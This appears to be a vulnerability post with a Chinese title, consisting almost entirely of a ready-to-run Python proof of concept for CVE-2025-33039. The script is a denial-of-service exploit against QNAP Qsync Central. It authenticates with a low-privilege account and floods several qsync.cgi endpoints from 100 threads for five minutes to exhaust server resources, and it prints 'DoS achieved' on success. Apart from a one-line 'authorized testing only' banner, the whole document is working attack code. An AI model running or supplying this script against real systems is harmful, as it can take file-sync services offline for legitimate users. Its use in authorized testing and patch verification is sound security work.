CVE-2025-33039：QNAP Qsync Central资源耗尽拒绝服务漏洞

# CVE-2025-33039 PoC - QNAP Qsync Central Resource Exhaustion DoS # Vulnerability: Allocation of Resources Without Limits or Throttling (CWE-770) # CVSS: 6.5 (MEDIUM) - AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H # Affected: Qsync Central < 5.0.0.1 import requests import threading import time import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_HOST = "https://qsync-central-target.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" MAX_THREADS = 100 DURATION = 300 # Attack duration in seconds class QsyncResourceExhaustion: """ Exploit for CVE-2025-33039: Resource exhaustion DoS against QNAP Qsync Central. Requires valid low-privilege user credentials. """ def __init__(self, target, username, password): self.target = target.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.session.verify = False self.success_count = 0 self.fail_count = 0 self.stop_flag = False def authenticate(self): """Authenticate to Qsync Central with valid credentials.""" login_url = f"{self.target}/cgi-bin/qsync/qsync.cgi" login_data = { "act": "login", "user": self.username, "pwd": self.password } try: resp = self.session.post(login_url, data=login_data, timeout=10) if resp.status_code == 200 and "sid" in self.session.cookies.get_dict(): print(f"[+] Authentication successful for user: {self.username}") return True print(f"[-] Authentication failed. Status: {resp.status_code}") return False except Exception as e: print(f"[-] Auth error: {e}") return False def trigger_resource_consumption(self, thread_id): """ Send repeated requests that consume server-side resources (connections, file handles, memory) without proper throttling. """ endpoints = [ "/cgi-bin/qsync/qsync.cgi?act=list_share_folder", "/cgi-bin/qsync/qsync.cgi?act=get_file_list&path=/", "/cgi-bin/qsync/qsync.cgi?act=sync_status", "/cgi-bin/qsync/qsync.cgi?act=get_user_info", ] local_count = 0 while not self.stop_flag: for endpoint in endpoints: if self.stop_flag: break try: url = f"{self.target}{endpoint}" resp = self.session.get(url, timeout=5) local_count += 1 if resp.status_code == 200: self.success_count += 1 else: self.fail_count += 1 except requests.exceptions.ConnectionError: self.fail_count += 1 # Server may be starting to refuse connections (DoS achieved) except Exception: self.fail_count += 1 return local_count def run(self, threads=MAX_THREADS, duration=DURATION): """Launch the resource exhaustion attack.""" if not self.authenticate(): print("[-] Cannot proceed without valid credentials.") return print(f"[*] Launching resource exhaustion attack with {threads} threads...") print(f"[*] Duration: {duration} seconds") start_time = time.time() with ThreadPoolExecutor(max_workers=threads) as executor: futures = [ executor.submit(self.trigger_resource_consumption, i) for i in range(threads) ] try: time.sleep(duration) except KeyboardInterrupt: print("\n[!] Interrupted by user.") self.stop_flag = True for f in as_completed(futures, timeout=30): try: f.result() except Exception: pass elapsed = time.time() - start_time total = self.success_count + self.fail_count print(f"\n[+] Attack completed in {elapsed:.1f}s") print(f"[+] Total requests: {total}") print(f"[+] Successful: {self.success_count}") print(f"[+] Failed: {self.fail_count}") if self.fail_count > self.success_count: print("[!] High failure rate may indicate service degradation (DoS achieved).") if __name__ == "__main__": if len(sys.argv) >= 4: TARGET_HOST = sys.argv[1] USERNAME = sys.argv[2] PASSWORD = sys.argv[3] print("=" * 60) print("CVE-2025-33039 - QNAP Qsync Central Resource Exhaustion PoC") print("For authorized security testing only.") print("=" * 60) exploit = QsyncResourceExhaustion(TARGET_HOST, USERNAME, PASSWORD) exploit.run()